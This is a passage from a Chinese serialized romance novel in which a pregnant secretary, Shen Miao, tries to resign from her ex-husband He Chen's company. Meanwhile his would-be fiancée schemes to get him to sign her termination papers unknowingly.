贺忱将几道菜一一摆在桌子上,听着贺老夫人喋喋不休。 他摆完了,贺老夫人也说完了,等着他回应。 “别说我不会去求她复婚,就算是她来求我,我都不考虑。” 贺忱将午餐往贺老夫人面前一推,“您还有什么要说的?” 贺懿觉得他这话刺耳,怼了句,“你想多了,人家才不会来求你。” 毕竟,沈渺都怀孕了。 且不说这个孩子怎么来的,就说这个孩子已经快两个月,过了打胎的最好时间。 足以证明,沈渺是要留下这个孩子的。 这更意味着,沈渺从来没想过跟贺忱复婚。44 贺忱眸光一涔,看向贺懿,“是吗,她说的。” “谁说的不重要,重要的是人家铁定不跟你复婚。” 贺懿语气坚决。 贺忱面色染上一抹不虞,却是没再说什么。 程唯怡推开病房门进来,“贺奶奶,对不起我现在才有时间来看你,你身体好利索了吧?” 贺老夫人不冷不热地应对着程唯怡。 当天下午,贺忱带着程唯怡接贺老夫人出院的画面,被记者拍到。 一个接一个的热搜,令百荣集团的股市一路标红。 半年来身价突飞猛涨的程家,这几日更是达到了巅峰。 —— 沈渺开车回家收拾了两件行李,直奔孤儿院。 她这几天都打算在孤儿院住,方便照顾孩子们。 孤儿院规模不大,五六间房子,一共十多个孩子。 几乎每个孩子都有不同程度的病,医药费是一笔很大的开销。 爱心人士的捐款勉强够孩子们的生活费,药费沈渺和商音掏了大头。 其他的都是浅姨做一些手工活补贴,收入微乎其微。 沈渺买了零食分给孩子们,然后帮浅姨干一些利索能力的事情。 “渺渺,我听音音说你们过完春节打算去外地发展?” 浅姨小心翼翼地问。 沈渺离开孤儿院后,除了固定时间回来帮忙、给钱,没跟浅姨说过她的任何情况。 包括她嫁给贺忱,如今怀孕,浅姨都不知情。 “对,外地有更好的发展,所以我和音音打算离开京北,不过您放心,我们每个月按时打钱回来,逢年过节也会回来看望你们的。” 浅姨松一口气,下意识说,“那就好……” 说完,她又悻悻一笑,“我也不是怕你们不给钱,就是想劝你们别瞎折腾,万一去了外地赚不到钱了,咱们这么多孩子怎么办?” “您放心,我和音音都规划好了,不会不管孩子们的。” 沈渺这些年攒下不少钱,不然她也不敢贸然辞职,生孩子。 “就非得走吗?”浅姨不死心又问了一句,“要去哪儿啊?” “还没定好,等我们确定好会告诉您的。” 沈渺冲浅姨笑了笑。 闻言,浅姨不问了,但看脸色不太高兴。 没一会儿,浅姨拿了一堆脏衣服交给沈渺。 “这里交给我吧,你去把衣服都洗了,还有啊孩子们都闹着吃海鲜,你去买点吧,过春节呢……” 乍然响起的铃声,打断了浅姨。 沈渺转身接了电话。 “沈秘书,晚上八点,东港豪庭见。” 是何之洲。 他声音透着一股混不吝,隐隐透着期待。 沈渺这才想起来,她答应做何之洲两天跟班的事情。 “好。”沈渺应声,挂了电话。 她进屋拿了包出来,拿出一沓现金交给浅姨。 “我有事要先走,你拿着这些钱给孩子们买吃的吧。” 浅姨拧着眉抬起头,正要说什么,冷不丁看到那沓现金,硬生生把眉眼处的不耐烦压下去了。 “音音今年不回来,你也要走,我以后可指望不上你们了……” 她擦手把钱接过来,一张一张数。 沈渺没等她数完就走了。 东港豪庭是京北市中心最大的销金窝。 她跟贺忱去过一次,那次贺忱喝多了,他们发生关系—— 晚八点的市中心娱乐场所,一片灯红酒绿。 震耳欲聋的音乐快要穿破沈渺的,她捂着耳朵在大厅里转了一圈,好半天才找到何之洲。 19.来自何之洲的新年大礼 何之洲是不折不扣的公子哥,爱玩爱热闹。 听说他接管公司当天,何家派人到酒吧把人拎到九洲的。 此刻何之洲桌上那几瓶酒,加起来八位数。 他算顽固子弟里家世最好,目前唯一一个接管了公司的。 周围坐着的一圈人,给他递烟、点火、倒酒,一口一个洲哥地喊。 沈渺走过去,站在何之洲面前,“何总。” “你来了啊。”何之洲推开怀里的女人,指着紧挨着他的地方,“过来坐。” “不了,我习惯站着,您有什么事情尽管吩咐我。” 沈渺垂着眉眼。 她今天没特意打扮,穿着黑色烟管裤配毛衣,外搭一件黑色羽绒服。 随和中透着几分高冷疏离感。 她没刻意打扮,但就算这样有人看她一眼立马来了兴趣。 “洲哥,哪里来的妞?” 何之洲嘴里叼着烟,吐出烟圈朝那人挑了下眉,“好看吧?” 那人笑着点头,“好看!洲哥的眼光真好!” “别扯,这目前还不是我的女人。”何之洲意味深长的目光打量起沈渺来。 看到贺忱强吻沈渺的那一幕,他越想越觉得—— 抢贺忱的秘书固然解气。 但远不如抢贺忱的女人有趣! 这么漂亮的女人,贺忱只要是个正常男人,就一定不会没感觉! 他咧嘴一笑,又拍了拍身边的位置,“我可不是真来让你当跟班的,过来坐下,这么多人我还能欺负你不成?” 沈渺迟疑片刻,走过去坐下,与何之洲保持着安全的距离。 “喝牛奶还是饮料?”何之洲竟是也不为难她。 “温水吧。” 何之洲立马让服务员拿杯温水过来,“放松点,大过年的出来要开心,玩儿游戏吗?” 沈渺摇头。 “那行,你看着,我们玩儿。” 何之洲对娱乐项目样样精通,真心话大冒险都是小儿科。 摇骰子、棋牌游戏,他赢的时候居多。 桌上气氛高涨,只有沈渺靠着沙发背安静坐在那里。 偶尔何之洲险胜时,会转过头来兴高采烈地跟她分享。 “怎么样?我厉害吧?” 他仿佛只是带沈渺出来玩儿,没有任何的刁难。 沈渺渐渐放松下来,不扫兴地朝他点头笑笑,“厉害。” 但她还保持着最后一丝警惕。 那就是散场之后,何之洲应该不会让她走。 凌晨三点,何之洲把他的布加迪超跑车钥匙给沈渺。 “送我回家。” “何总,我没开过跑车,我开我的车送您回家吧。” 沈渺拿了车钥匙朝停车场走,“您在这里等我,我很快过来。” 何之洲快步跟上她,“我不像贺忱,没那么大谱,还得你开车过来接,我跟你去……” 他腿长步子大,走了几步就追上沈渺了。 “贺忱给你发奖金了吗?” 他指的是政圈项目奖金。 沈渺点头,“发了。” 何之洲酸溜溜地说,“那项目他一分钱没赚,得自掏腰包给你们发奖金。” 那项目确实没赚钱。 跟何之洲抢,也不像贺忱以往的作风,但沈渺不会跟何之洲讨论这些。 她笑了笑不说话。 可何之洲八句不离贺忱,送他回家的路上,‘贺忱’这两个字,磨得沈渺耳朵都快起茧子了。 “沈秘书,一年前有则新闻说贺忱脖子上有抓痕,你能不能告诉我那是怎么来的?” 何之洲的八卦追溯到很久之前。 贺忱是公众人物,沈渺有分寸从来不在他身上留痕。 唯独那次,贺忱有些失控她受不住—— 没想到就那一次,媒体都拍到了。 但他心爱的女人在国外,一直零绯闻,哪怕不解释这事儿也没闹大。 “不清楚。” 何之洲连声称啧,“嘴这么严,看来只有贺忱能撬得开。” 他意有所指,那晚贺忱汹涌的吻。 沈渺将车停在他家门口,提醒他,“何总,你答应过我的事情,别忘记。” “放心。”何之洲打开车门下去,绕到驾驶位敲了两下车窗,“你下来,在这儿待到天亮,这事儿就算过去了。” 明天除夕,何之洲要回何家,不可能让沈渺跟着。 两天的跟班,变成了一个晚上,听起来划算。 但—— 沈渺看着眼前价值八位数的别墅,看起来富丽堂皇却透着一丝危险。 “放心,你一个人住,我走。” 何之洲拍了拍车身,“下来,我去给你开门。” 他不会无缘无故让沈渺在这儿待到天亮。 沈渺心里清楚,可她别无选择,只能下车跟着何之洲进入别墅。 何之洲打开别墅灯,霎时整栋楼亮如白昼。 “房间随便挑,想住哪个住哪个。” 他靠在玄关处,做出邀请的姿势,让沈渺进来,“把这儿当自己家,放宽心睡。” 据沈渺所知,何之洲接手九洲后被勒令住在家里。 他肯定不会杀个回马枪。 “时间不早了,何总回去休息吧。” 何之洲不墨迹,转身就走了。 沈渺将别墅的门反锁,在客厅的沙发上坐下刷手机。 六点钟,天还黑着,沈渺起身就走。 她驱车回家洗了个澡,上床补觉。 至于何之洲葫芦里到底卖的什么药,只能走一步看一步。 —— 贺家老宅。 清早七点,贺忱在顶楼健身房结束了晨跑,下楼洗了个澡,例行公事般地到书房处理事务。 刚打开电脑,右下角蹦出来一封邮件。 【贺忱,新年快乐,送你一份大礼。】 没署名,但这欠欠的语气,贺忱想都不想便猜出是何之洲。 换做以往,他理都不理。 但今天不知怎的,点开了那封邮件。 几张高清版的照片映入眼帘。 灯红酒绿的风月场所,沈渺黑长直的头发披散着,穿着低调保守,与四周格格不入。 那双漆黑分明的眼睛柔柔的,正看着玩儿游戏的何之洲。 这样温顺听话的沈渺,与在贺忱面前疏离寡淡的沈渺,判若两人。 无数的照片倒映在贺忱的眸中,他眸色愈发深沉。 沈渺冲何之洲淡淡笑着,眉目温柔眸含春波。 何之洲笑的肆意张扬,高兴与她分享着胜利。 周围人起哄看着他们,虽只是照片却令人浮想联翩当时的情景。 直至看到最后,沈渺跟在何之洲后面进了别墅。 ‘啪’—— 贺忱关了笔记本,眸光锐利且深沉。 20.若已经找到下家,沈秘书不必瞒着 春节是京北正冷的时候。 每年春节,贺老夫人都会给所有下人放假,一家人过个团圆年。 没成想今年明黎艳他们出国度假,家里很冷清。 “奶奶,咱们再喊渺渺一次?” 贺懿还是不死心,“她来了家里热闹,晚上一起包饺子守岁。” 贺老夫人白她一眼,“你是想让人家来干活吧?” 沈渺嫁过来后,这两年的春节她是年夜饭的主力军。 她的手艺好,这一点连明黎艳都认可。 所以春节这两天,是一家人难得融洽的好日子,不管是贺老夫人还是贺懿,都喜欢那种氛围。 “当然不是!”贺懿毫不犹豫说,“主要渺渺一个人过春节多可怜,我不信她喜欢一个人过,那天在医院她肯定是不好意思。” “那你给她打电话再试试。”贺老夫人也想让沈渺来。 不管沈渺怀的是谁的孩子,她还会不会跟贺忱复婚,贺老夫人都很喜欢她。 贺懿立马给沈渺打电话。 电话响了好一会儿,沈渺才接。 “小懿。” “渺渺,你在家吗?”贺懿听她那边十分安静,不像在孤儿院的。 上午九点,沈渺刚睡了两个多小时,是被吵醒的。 她声音沙沙的,“在家,怎么了?” “奶奶还是想让你来这儿过春节,下人放假了,我爸妈出国,家里就剩我们,饭都快吃不上了……” 贺懿虽然没打算让沈渺干活,可她只有这么说,才能增加沈渺来的可能性。 但沈渺怎能不知她的脾气呢? 每年春节她一个人准备年夜饭时,贺懿都跟着她忙前忙后,生怕她累坏了。 “小懿,我去不合适。”沈渺无奈地说。 贺懿一听,立马说,“你别担心,等会儿我哥去找程唯怡,他今晚都不回来!家里就我和爷爷奶奶!” 她正说着,贺忱从楼上下来。 “哥,奶奶想让渺渺来家里,你没意见吧?” 贺懿给贺忱使眼色。 沈渺一直说不合适,无非是顾忌贺忱这个上司以及前夫的身份。 只要贺忱松口,沈渺一定会来的! 贺忱走到岛台前,研磨咖啡豆,嗓音凉凉的,“春节要一家人一起过。” 他这话一出,顿时一片死寂。 沈渺看不到他,却能想象出此刻男人的表情多么的薄凉又冷漠。 “哥,你——”贺懿反应过来贺忱这是拒绝的意思,气得说不出话。 “何况,我想沈秘书也根本不想过来。” 贺忱嗓音涔涔,没有一丝温度。 这话落入沈渺耳中,就是让她心里有点数。 都不是一家人了,她过去干什么? “小懿,我今天确实还有事,不方便过去,贺总说得对。” 沈渺同时也能想象出,贺懿有多生气。 她忙开口,解释清楚后,结束通话。 贺懿在贺老夫人旁边坐下,脑袋嗡嗡作响,“奶奶,你看我哥!” 贺老夫人感觉自己脸上的褶子都被气撑开了。 可是看到贺忱那副清冷寡淡的模样,她又说不上话来。 最后索性指着外面说,“你也走,别在这里烦我!” 贺忱慢条斯理地品着现磨煮好的咖啡,苦涩在他唇腔里化开。 那股苦涩,顺延着他的舌根儿,蔓延到他胸腔。 他突然没了继续喝下去的兴趣,将咖啡放下,转身离开。 —— 京北的春节热闹非凡,窗外传来阵阵笑声,时不时有鞭炮声此起彼伏。 沈渺房间拉着窗帘,光线昏暗,室内一片令她感到荒凉的安静。 一通电话让她没了睡意,心尖时不时传来一阵阵抽搐的痛感。 她蜷缩着身体,将自己埋在被子里。 迷迷糊糊她又睡着了,半睡半醒浑浑噩噩地躺了大半天。 最后扛不住肚子饿,彻底清醒过来。 沈渺刚起床,商音就打来视频通话。 “你没在孤儿院啊?”商音见她在家里,很意外,“是不是浅姨又说不该说的话了。” “没,昨天临时有事回来了。” 虽说是如此,但沈渺不打算再去孤儿院了。 “下次你别一个人回去了,整天净挨欺负。”商音脾气爆,浅姨从未说过她。 每次逮住沈渺就狠压榨。 沈渺笑道,“以后没一个人回去的机会了,等我辞职咱们不就一直在一起了。” “我又找到了个好地方,你赶紧换套衣服过来,月嫂走了咱俩带孩子过春节。” 商音本就打算让沈渺去她家过春节。 沈渺本想回孤儿院帮帮浅姨。 不看浅姨,看那些孩子,她也想尽一份力。 谁成想—— 她家里一点食材都没备,超市都关门了,只能去商音那里。 沈渺随便吃了点面包垫吧,然后去了商音那儿。 她们一起捏了饺子,带着小商庭守夜,过了第一个春节。 别人的春节都走亲窜友,她们接连几天都在家里没出门。 晚上隔着窗户看烟花,白天一起做好吃的追剧,讨论她们离开京北到底要去哪里。 眨眼,假期结束。 初六,百荣复工,九点钟沈渺带着一封离职信到岗。 上午有一场复工酒会,贺忱抵达公司后直接到八楼的酒会上露面。 半小时后,他才从酒会脱身上楼来。 整个顶层静悄悄的,男人的皮鞋踩在地毯上发出轻微的声音。 穿过长廊,他挺拔健壮的身姿映入沈渺的眼帘。 沈渺站起来,“贺总。” 贺忱单手插在兜里,笔挺的裤管熨贴着修长笔直的双腿。 他在她工位前停了下,从口袋里拿出一个红包。 “谢谢。” 贺忱每年都会给员工准备复工红包。 沈渺接过来放到一边,转而将辞职信递上去。 这次没有信封,白纸黑字,‘辞职信’三个字分外刺眼。 贺忱目光落在纸张上,并未接过来。 “这些年谢谢贺总的提拔和照顾,希望我们来日方长,以后有机会再合作。” 沈渺又将辞职信往他面前递了递。 薄薄一张纸,不过克重,贺忱迟迟不接让沈渺有种这东西千斤重的错觉。 “沈秘书这是有好去处了。” 贺忱声音沉冷下来。 沈渺忙不迭摇头,“没有。” “是吗。” 男人听似轻飘飘地反问,敲在沈渺心头。 沈渺的心沉了又沉,她垂着眼帘,“是,我短期内没有工作的打算。” 或许贺忱是怕她跳槽后,给百荣带来麻烦。 毕竟她接触的都是百荣机密商业。 “既然如此,不妨等找到工作再走。”贺忱唇角掀了掀,意有所指,“若已经找到下家,沈秘书不必瞒着,百荣不缺你一个。” 21.不是沈渺不走,而是贺忱留! 贺忱这话沈渺没法接。 执意走,好像她已经找好下家跳槽,要背叛百荣。 不走……又不行。 贺忱站在那里,黢黑的瞳仁看着她,在等她回答。 “贺总,您真的误会了,我是因为个人原因才辞职的。” 沈渺干脆拿个人隐私来搪塞。 贺忱眉尾轻挑了下,沉吟片刻道,“那我就因个人原因,拒绝你的离职申请。” 说完,他转身进入办公室。 沈渺侧目,看着他离去的背影,眉头打成死结。 不似上次不清不楚地调回来,这次贺忱给了明确的答复,不批准离职。 可不批准的理由,可以说是拿来敷衍她的。 他会不批,这是沈渺没想到的。 就像他说的,百荣离了谁都转。 她不死心,跟上贺忱进了办公室。 “贺总,公司合约明文规定,没有非必要的原因是不可以拒绝一方提起的解约申请的。” 贺忱脱掉外套,落座在办公桌前,骨节分明的手扯了扯领带。 他眉骨一拢,嗓音沉冷,“自古以来,公司就没有未满期约离职的员工。” 他的态度显而易见,沈渺要想走,就等合约期满了。 沈渺轻轻咬着唇瓣,捏着衣角的手背浅青色的脉清晰可见。 她固执的模样,落在男人深谙不可见底的眸中。 僵持片刻,沈渺败下阵来。 她转身离开办公室,回到工位上查找与百荣的电子合同。 距离她合约到期,还有五个月。 而她的肚子,再过两个月就要瞒不住了。 “程小姐!”周芸的声音传来。 程唯怡从电梯出来,将包交给周芸拿着,朝沈渺这边看了一眼。 “我请大家喝咖啡,你统计一下他们都要什么。” 周芸眼睛一亮,立马说,“程小姐大气,您这是遇到什么开心事了?” 程唯怡的嘴角合不拢,眉梢挂着喜悦,“你都不看新闻吗?” “啊?”周芸愣了几秒,猛地拍了下额头,“恭喜程小姐,要跟贺总订婚了!” “去吧,让大家别客气!”程唯怡扭动身子朝办公室走。 周芸转身进秘书部嚷嚷,“程小姐……哦不,未来老板娘请大家喝咖啡!” 秘书办热闹起来,纷纷跟周芸报上喝什么咖啡。 李白恬从秘书办跑出来,直奔沈渺工位旁。 “渺渺姐,程小姐请大家喝咖啡呢,你喝什么?” 不等沈渺回答,周芸的声音从秘书部传出来,“李白恬,谁让你去问的?沈秘书工作忙,哪有功夫喝咖啡啊!” 李白恬瞪大眼睛,“你这话说得,沈秘书怎么——” “恬恬。”沈渺打断李白恬,“我不喝,你去吧。” 以前周芸讨好沈渺,沈渺并不吃她那一套,她得罪不起沈渺。 如今抱上了程唯怡的大腿,周芸根本不把沈渺放在眼里。 那可是未来的老板娘! 沈渺一个秘书,算什么? “这个周芸真是太过分了!”李白恬气愤不已,“是程小姐请大家喝咖啡,又不是她,凭什么她说了算!” 沈渺根本没心情喝咖啡,心思也不在这些钩心斗角的小事上。 她冲李白恬笑笑,“我最近睡眠不好,已经很久不喝咖啡了,你快去忙吧。” 李白恬愤愤不平地回了秘书部。 贺忱跟程唯怡要订婚的事情,传得沸沸扬扬却一直没有准确的婚期。 但看刚才程唯怡高兴的样子,应该快了。 程唯怡嘴上说不在意沈渺留下,但肯定容不下沈渺。 沈渺看了紧闭的办公室门一眼,有人比她急,或许她就不用那么急了。 想通这些,她开始工作。 半小时后高层会议。 贺忱从办公室出来朝会议室走去。 他余光瞥见沈渺拿了笔记本跟上来,始终不自觉微蹙的眉宇舒展开来。 只要还在职位一天,沈渺的工作态度都是端正的。 接连两三天,她一点没有离职没离成的摆烂样子都没有。 贺忱也不提那茬,除了工作上的正常交流,两个人都看不出异样。 沈渺有些意外的是,贺忱将林昭手里大部分的工作,都交给了她。 林昭的工作重心逐渐转向各部门的统筹,而她主要负责与贺忱交接。 接连两个晚上,她跟贺忱应酬。 推杯换盏的酒局上,没了林昭挡酒,沈渺开车不能喝,贺忱都喝了不少酒。 但喝再多,也没到年前那次失去理智强吻她的地步。 晚上十一点,迈巴赫在兰园别墅门口停下。 车刚停稳,别墅的门被人打开,一抹身影从里面跑出来。 沈渺正欲下车,程唯怡先她一步,已经将后座的车门打开了。 “贺忱哥,你怎么这么晚才回来?” 程唯怡挽着贺忱胳膊,忌惮的目光看着沈渺。 贺忱喉结滚动,嗓音嘶哑,“有应酬,不是跟你说了先休息,不用等我。” “我不放心。”程唯怡扶着他下来,又松开了他,“我煮了醒酒汤,你先进去趁热喝。” 贺忱鼻腔里发出一个单音节,将外套搭在肩上,朝别墅里走去。 待他进入别墅,程唯怡敲响了驾驶位的车窗。 沈渺将车窗落下,她淡然地看着生气的程唯怡。 “怎么又是你!林昭呢?” 昨天沈渺送贺忱回来,程唯怡没来得及发飙,但心里早已不高兴了。 今天又是她,程唯怡的耐心已经到极限了。 沈渺如实回答,“贺总已经将我与林助的工作分隔开,我主要负责贺总这边。” “什么?”程唯怡黑着脸说,“你都快离职了,他把工作都交给你干什么!?” “我昨天向贺总提出离职被拒绝,贺总说百荣历来没有期未满离职的先例。” 这话沈渺不信。 可贺忱这意思就是不让她走,她没必要针尖对麦芒。 程唯怡的心里‘咯噔’一声。 她担心的情况终归是发生了! 不是沈渺不走,而是贺忱留! “程小姐,时间不早了,您早点回去休息吧。” 沈渺点到为止,将车窗升起,一脚油门踩出去。 程唯怡绝对不允许再出任何的状况。 她拿出手机给明黎艳打电话。 “伯母,你说贺忱哥这是什么意思?他该不会还对沈渺念念不忘吧?” 这个点,明黎艳都睡了,一听说沈渺的事儿立马醒盹。 “什么期未满不放人?该不会是沈渺找的借口吧?贺忱怎么会留她!” 22.事成之后让你做沈渺的位置! 刚刚的话,是沈渺一面之词。 程唯怡没有证据,她登时回神。 “我就说,贺忱哥怎么会留沈渺!这个女人也太有心机了,差一点我就要找贺忱哥闹了,害得我们又吵架。” 明黎艳安抚她,“唯怡,你只管跟贺忱培养感情,沈渺这边我来处理,别再跟贺忱吵架了,他的脾气你又不是不了解……” 贺忱能撇下工作,当众去追程唯怡哄她开心,已经是极限。 程唯怡知道,所以那次因为一条信息吵架,是她低了头。 沈渺的车开得慢,她看到程唯怡掏出手机打电话,然后才将油门踩到底。 凌晨一点。 她洗过澡拿着手机上床。 商音正在跟她视频,看到她一脸疲倦,长叹一声。 “就算不是因为跟贺忱那段婚姻,你也该辞职,这么高强度的工作普通人都受不了,何况你一个孕妇。” 沈渺一直都有孕反,只不过吃药压着。 虽然不吐了,却没有食欲,吃不下饭去。 如今满打满算怀孕九周,沈渺比孕前瘦了八斤。 “我会注意的。” 商音呈‘大’字躺在床上,“我的坤成,我的夏海,我的南宁,到底什么时候才能去啊!” 得会知沈渺的离职报告没被批下来,她想死的心都有。 沈渺抿了抿唇瓣,“应该很快。” 她看得出,程唯怡跟贺忱感情虽好。 可是程唯怡掌控不了贺忱,肯定得找明黎艳帮忙。 明黎艳只要出手,她离开是分分钟的事情。 明黎艳比沈渺预期的,来得更快一些。 一早,沈渺就接到了明黎艳电话,约她八点钟在百荣楼下的咖啡厅见面。 沈渺准时赴约,并且提前十分钟到。 她等了约莫半小时,明黎艳姗姗来迟。 “明董。”沈渺起身颔首。 明黎艳耷拉着脸,坐下来劈头盖脸地质问道,“沈渺,我看你是敬酒不吃吃罚酒!” “您高看我了。”沈渺扯了扯嘴角,“我只是一个普通人,您动动手就能掌控我的命运,我再聪明也斗不过权势,所以我没有必要跟您和程小姐撒谎。” 年前,贺忱与程唯怡因为沈渺一条短信吵架,闹得媒体都知道了。 明黎艳就生沈渺的气呢。 昨天一听说沈渺还没辞职,明黎艳气的一宿没睡觉,脑袋都乱套了。 沈渺几句话,她逐渐冷静下来。 所以,真的是贺忱不肯放沈渺走? “我与百荣的雇佣合同五个月后到期,在那之前除非贺总在离职同意书上签字,不然我走不了。” 沈渺适时宜地说了句。 明黎艳想弄到贺忱的签名,应该不难。 “你等着。”她拎着包起身,阔步朝百荣大厦走去。 沈渺沉了一会儿,才拎着包进入大厦。 —— 明黎艳去了人事部,直接找人事部经理打印了一份解约书。 然后她将解约书交给了程唯怡。 “找个机会,让贺忱签了,然后拿给沈渺签字,沈渺就可以走了。” 程唯怡喜上眉梢,“伯母,还是你有办法,要是没有你,我都不知道该拿沈渺怎么办!” 明黎艳抬手戳了戳她的脑袋,“你啊,从小就这么不让人放心,小懿都比你有主意。” “伯母~”程唯怡挽着她胳膊撒娇,“我也有优点,我比小懿贴心啊!” 贺懿是男孩子脾气,不煽情不体贴。 因此明黎艳才将程唯怡养在身边,只要一有时间就把程唯怡接到贺家。 “你是贺忱的准未婚妻,是我们贺家未来的准儿媳,怕什么?” 明黎艳轻拍程唯怡的手背,“以后想干什么干什么,出了事我给你兜着。” 有她这话,程唯怡的尾巴快翘到天上去了。 “好了,赶紧把这文件处理了,我去忙你们订婚的事情,晚上约了你爸妈,把日子定下来,你跟贺忱不要迟到。” 明黎艳一通叮嘱后,匆匆离开。 程唯怡不接触公司的事务,怎么能让贺忱神不知鬼不觉地签了文件,对她来说是个难题。 转眼大半天过去,贺忱跟沈渺里出外进的处理工作。 程唯怡几次想搭个与工作有关的话题,都没找到机会。 晚上临近下班,有个项目突发状况,贺忱更是一头扎进会议室里了。 沈渺看得出程唯怡很着急。 她几次想帮程唯怡搭话,奈何程唯怡根本不懂工作上的事情,只能作罢。 晚七点,会议终于结束。 沈渺起身收拾东西,跟着贺忱往外走。 刚出会议室,程唯怡就迎上来,把沈渺从贺忱身边挤开。 “贺忱哥,我爸妈他们都到餐厅了,咱们赶快过去吧,别让他们等久了。” 贺忱看了眼腕表,转手将文件交给沈渺,“放到我办公室。” 沈渺颔首,接过文件目送程唯怡拉着贺忱离开。 她听见程唯怡又说,“伯母说,今天要把订婚的日期定下来,贺忱哥,你有什么想法吗?” “贺总跟程小姐要订婚了!” “我前几天就听秘书部的人说,已经在商量了。” “订婚跟结婚就差一步,估计今年就能喝上贺总的喜酒了!” 沈渺的脚步顿住,各部门高层从她身边鱼贯而过。 杂乱的交谈落入她耳中,她忽然就觉得透不过气。 贺忱的身影消失在拐角处,他富有磁性的声音隐隐约约地传来。 说了什么,沈渺听不清楚。 那端,贺忱与程唯怡刚走到电梯口,周芸就拿着一份文件追上来了。 “秘书长有事不在,您能不能帮我批一下请假?” 贺忱看她一眼,“找林昭。” 周芸看向程唯怡。 “这个点林昭都下班了吧,你随手签一下的事情。” 程唯怡请假单,随便翻了两下将纸折在她手上,递到贺忱面前。 “帮帮忙嘛。” 周芸立马递过笔来。 贺忱接过笔签下名字,“下不为例。” “是!”周芸迅速把请假单接过来,“谢谢贺总,谢谢程小姐。” 程唯怡手心一层薄汗,好在终于签字了,她提着的心落下,朝周芸挥手。 “快走吧。” 周芸赶忙拿着文件跑了。 贺忱率先进入电梯,摁下负一。 电梯刚抵达负一时,程唯怡突然惊呼一声。 “糟糕了,我的包没拿,贺忱哥你先上车,我回去拿!” 她将贺忱推出电梯,迅速摁下顶层的按钮。 不过片刻,她又折回顶层,周芸早已在电梯旁等候多时。 “程小姐,沈秘书要辞职啊?为什么还偷偷让贺总签字?” 程唯怡拿过文件,脸一沉说,“问这么多干什么?不许到处乱说,事情成了让你坐沈渺的位置!” 23.订婚宴就在十天后 沈渺在公司的地位,可是一人之下万人之上! 周芸这辈子都没想过,自己能接沈渺的班。 可如果给她撑腰的人是程唯怡,这个未来的公司老板娘—— “程小姐,你放心,我以后都听你的,一定给你看好了贺总,不让任何女人接近他——哦不,贺总的心里本来就只有你,那些女人就算贴上来他也看不到,但肯定很烦,我帮贺总解除烦恼,让他有更多的时间陪你。” 这话说到程唯怡的心坎上。 程唯怡又把解约书给她,“那你就是我的人了,明天等沈渺上班把解约书给她,盯着她签字让她走。” “好!”周芸接过文件,迫不及待等着明天到来。 —— 京北大饭店,顶层豪奢包厢。 贺忱与程唯怡姗姗来迟。 刚进门,明黎艳就劈头盖脸地指责,“知道今晚约了你程叔叔他们吃饭,你还不知道早点来。” “年轻人以工作为主很正常,都是自己人客气什么。” 程唯怡的母亲孙易琴开口说和,“而且唯怡也来晚了,怎么不见你说。” “唯怡是跟着他来的,肯定是他有事耽搁了。” 明黎艳说完,看向贺忱,“你程叔叔他们非要等你来了才上餐。” “叔叔阿姨不用客气。” 贺忱拉开椅子坐下,顺手将身边的椅子也拉了一把。 程唯怡在他旁边坐下,与明黎艳和贺岭山打招呼。 “伯父、伯母,让你们久等了。” 贺岭山朝她颔首,算是回应了她。 明黎艳越看程唯怡越觉得喜欢,她催贺忱,“今天就把订婚的日子定下吧,我们觉得十天后是个不错的日子。” 程唯怡耳根一红,双眸含羞地看着贺忱。 贺忱面色寡淡,语气平缓道,“不急。” 他这话一出,程家夫妇脸上的笑容浅薄许多。 程唯怡宛若被泼了一盆冷水,脸色一瞬间白了几分。 “怎么不急?”明黎艳一脸不满,“我知道你工作忙,订婚宴的事情我们操持,你只等那天到场就行了。” 贺忱眉骨一拢,俊朗的面容染上几抹不虞。 “先吃饭。” 孙易琴看向明黎艳,“黎艳,这……” “先吃饭。”程青良笑了下说,“贺忱工作一天,肯定饿了。” 他给孙易琴使眼色,孙易琴只能说和明黎艳,先点餐吃饭。 但程家人心里有数,贺忱怕是不赞同这么快订婚。 所以一场饭局下来,他们都没再提订婚的事情。 饭局结束,各自回家。 明黎艳等不及回到贺家,质问贺忱。 “订婚的事情拖了这么久,你到底怎么想的?” 贺忱开车,面无表情地看着前方,“我说过,这件事情您别插手。” “那程家不着急吗?唯怡一个小姑娘,跟你的绯闻都传得满天飞了,一直不订婚对她的名声不好,到时候指不定传出什么话来。” 订婚的绯闻年前就开始传,多少人都眼巴巴等着订婚的日期确定下来呢。 明黎艳每次出去应酬,都会被问到这个话题。 贺忱不松口,她就只能搪塞,搞得好像她不赞同这门婚事似的。 可不管她怎么说,贺忱都不再接话。 一路无言到贺家老宅。 贺忱下车朝别墅内走去。 “我就不信,你还能不管唯怡。”明黎艳看着他背影,嘟囔完掏出手机给孙易琴打电话,“订婚宴就在十天后,贺忱工作忙,这事儿就交给咱们办了……” ——— 离职的事情,让沈渺心事重重。 她一整晚都在做梦,梦到要离开却走不了。 但梦境很快又变了,变成她已经和商音去了坤城。 早上,闹铃响了两遍她才听见,洗漱一番赶往公司,踩着点八点五十九分的点打卡。 然后她拎着两颗水煮蛋朝工位上走。 却见周芸坐在她的位置上,转动着摇椅一脸享受。 沈渺将水煮蛋放在办公桌上,居高临下的看着周芸。 “沈秘书,你来了啊。”周芸脸上划过一抹不自在。 但她只是收敛了下一脸的享受,并未从座位上起来。 “这都九点了,公司明文规定至少提前五分钟到岗打卡,你这算迟到了吧。” 沈渺愣是被她的语气和表情气笑了。 “所以呢。” 周芸的实习期都还没转正,在部门里都是吊车尾的存在。 敢在沈渺面前指手画脚,像个跳梁小丑。 沈渺那一个笑,就让周芸觉得脸上无光,很难堪。 “而且你还带着早餐来,沈秘书,你是跟着贺总的人,怎么能这么不注意规矩?” “你说得对,我跟的是贺总。”沈渺打断她。 周芸顿时被噎得说不出话。 沈渺把包放在桌子上,挑起眼尾示意周芸起来。 “那是以前。”周芸拿出解约书,拍到桌子上,推到沈渺面前,“签字吧,以后你不再是贺总的秘书,也不是百荣的人了!” 看到解约书,沈渺黑白分明的眼眸一颤,她迅速拿起来翻看到最后一页。 “贺总都已经签字了,你不想走也没用,我知道这个事情对你来说很难接受,但谁让你挡了程小姐的道呢。” 周芸见她脸色微变,以为她不想走,一顿讥讽。 沈渺压根没听,她的目光落在贺忱龙飞凤舞的大字上。 贺忱已经签字了,只要她签了,就能离开百荣,离开京北。 她反手拉开左边抽屉,想拿出笔签字。 谁知,周芸一把将抽屉挡住。 “从今天起,这个座位已经不属于你了,你要干什么,跟我说。” 沈渺不用想也知道,是程唯怡授予周芸这么大的权利。 她松开手,“我签字,需要笔。” “我给你拿。”周芸拉开抽屉,在一堆整齐的资料和文件里翻了半天,不光没找到还把抽屉翻了个乱七八糟。 